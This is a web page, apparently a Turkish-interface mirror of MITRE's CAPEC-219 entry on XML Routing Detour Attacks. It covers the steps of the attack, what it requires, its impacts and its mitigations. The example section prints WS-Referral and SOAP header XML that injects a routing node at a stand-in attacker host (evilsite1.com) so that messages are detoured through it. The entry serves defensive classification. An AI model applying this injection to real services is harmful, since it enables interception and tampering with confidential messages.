COMMON ATTACK PATTERN ENUMERATION AND CLASSIFICATIONMITRE canlı kaydı

CAPEC-219

XML Routing Detour Attacks

An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Adversary in the Middle type attacks ( CAPEC-94 ). The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of their choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.

Soyutlama

Standard

Tipik ciddiyet

Medium

Saldırı ihtimali

High

Saldırıyı anla

Bu saldırı kalıbı nedir?

An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Adversary in the Middle type attacks ( CAPEC-94 ). The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of their choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.

Uygulama akışı

Saldırı adım adım nasıl ilerler?

1

Explore

Survey the target

Using command line or an automated tool, an attacker records all instances of web services to process XML requests.

Kullanılan teknikler

  • Use automated tool to record all instances to process XML requests or find exposed WSDL.
  • Use tools to crawl WSDL
2

Experiment

Identify SOAP messages that have multiple state processing.

Inspect instance to see whether the XML processing has multiple stages or not.

Kullanılan teknikler

  • Inspect the SOAP message routing head to see whether the XML processing has multiple stages or not.
3

Exploit

Launch an XML routing detour attack

The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message identified in the Explore phase. Thus, the attacker can route the XML message to the attacker controlled node (and access the message contents).

Kullanılan teknikler

  • The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message

Gereksinimler

Saldırının gerçekleşmesi için ne gerekir?

Ön koşullar

  • The targeted system must have multiple stages processing of XML content.

Gerekli beceri

  • Low: To inject a bogus node in the XML routing table

Gerekli kaynak

  • The attacker must be able to insert or compromise a system into the processing path for the transaction.

Etki

Başarılı saldırı neye yol açar?

Modify Data

Etkilenen alanlar: Integrity

Read Data

Etkilenen alanlar: Confidentiality

Gain Privileges

Etkilenen alanlar: Accountability, Authentication, Authorization, Non-Repudiation

Bypass Protection Mechanism

Etkilenen alanlar: Access Control, Authorization

Savunma

Nasıl önlenir ve etkisi azaltılır?

1
Design: Specify maximum number intermediate nodes for the request and require SSL connections with mutual authentication.
2
Implementation: Use SSL for connections between all parties with mutual authentication.

Gerçek dünya

MITRE örnek olayları

Örnek olay 1Detay
Here is an example SOAP call from a client, example1.com, to a target, example4.com, via 2 intermediaries, example2.com and example3.com. (note: The client here is not necessarily a 'end user client' but rather the starting point of the XML transaction). Example SOAP message with routing information in header: <S:Envelope> <S:Header> <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"> <m:action>http://example1.com/</m:action> <m:to>http://example4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example2.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope> Add an additional node (example3.com/router) to the XML path in a WS-Referral message <r:ref xmlns:r="http://schemas.example.com/referral"> <r:for> <r:prefix>http://example2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://example3.com/router</r:via> </r:go> </r:ref> Resulting in the following SOAP Header: <S:Envelope> <S:Header> <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"> <m:action>http://example1.com/</m:action> <m:to>http://example4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example2.com/router</m:via> <m:via>http://example3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope> Continuing with this example, the attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header but not access the message directly on the initiator/intermediary node that they have targeted. Example of WS-Referral based WS-Routing injection of the bogus node route: <r:ref xmlns:r="http://schemas.example.com/referral"> <r:for> <r:prefix>http://example2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://evilsite1.com/router</r:via> </r:go> </r:ref> Resulting XML Routing Detour attack: <S:Envelope> <S:Header> <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"> <m:action>http://example_0.com/</m:action> <m:to>http://example_4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example2.com/router</m:via> <m:via>http://evilesite1.com/router</m:via> <m:via>http://example3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope> Thus, the attacker can route the XML message to the attacker controlled node (and access to the message contents).
CAPEC-219: XML Routing Detour Attacks — DayBreach Saldırı Sözlüğü · DayBreach